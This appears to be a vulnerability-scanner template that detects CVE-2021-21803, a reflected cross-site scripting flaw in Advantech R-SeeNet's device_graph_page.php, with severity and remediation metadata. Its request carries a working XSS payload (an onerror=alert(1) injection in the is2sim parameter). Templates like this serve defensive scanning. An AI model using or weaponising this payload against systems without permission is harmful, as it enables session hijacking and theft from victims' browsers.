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id : CVE-2021-21803
info :
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name : Advantech R-SeeNet - Cross-Site Scripting
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author : gy741
severity : medium
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description : Advantech R-SeeNet is vulnerable to cross-site scripting via the device_graph_page.php script via the is2sim parameter. A specially crafted URL by an attacker and visited by a victim can lead to arbitrary JavaScript code execution.
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impact : |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
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remediation : |
Apply the latest security patches or updates provided by Advantech to mitigate this vulnerability.
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reference :
- https://talosintelligence.com/vulnerability_reports/TALOS-2021-1272
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- https://nvd.nist.gov/vuln/detail/CVE-2021-21803
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- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/ARPSyndicate/cvemon
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classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score : 6.1
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cve-id : CVE-2021-21803
cwe-id : CWE-79
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epss-score : 0.80604
epss-percentile : 0.98232
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cpe : cpe:2.3:a:advantech:r-seenet:2.4.12:*:*:*:*:*:*:*
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metadata :
max-request : 1
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vendor : advantech
product : r-seenet
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tags : cve2021,cve,rseenet,xss,advantech
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http :
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- method : GET
path :
- '{{BaseURL}}/php/device_graph_page.php?is2sim=%22zlo%20onerror=alert(1)%20%22'
matchers-condition : and
matchers :
- type : word
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part : body
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words :
- '"zlo onerror=alert(1) "'
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- 'Device Status Graph'
condition : and
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- type : word
part : header
words :
- text/html
- type : status
status :
- 200
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# digest: 490a004630440220290c465e8ffed921fc075e33c05d61e6ad6c8dc976ad0768a3c67c27cf6c886d022015809e3ad84f8ad4271e11246380311837a9a3a71febd990084cb12f5a2a7961:922c64590222798bb761d5b6d8e72950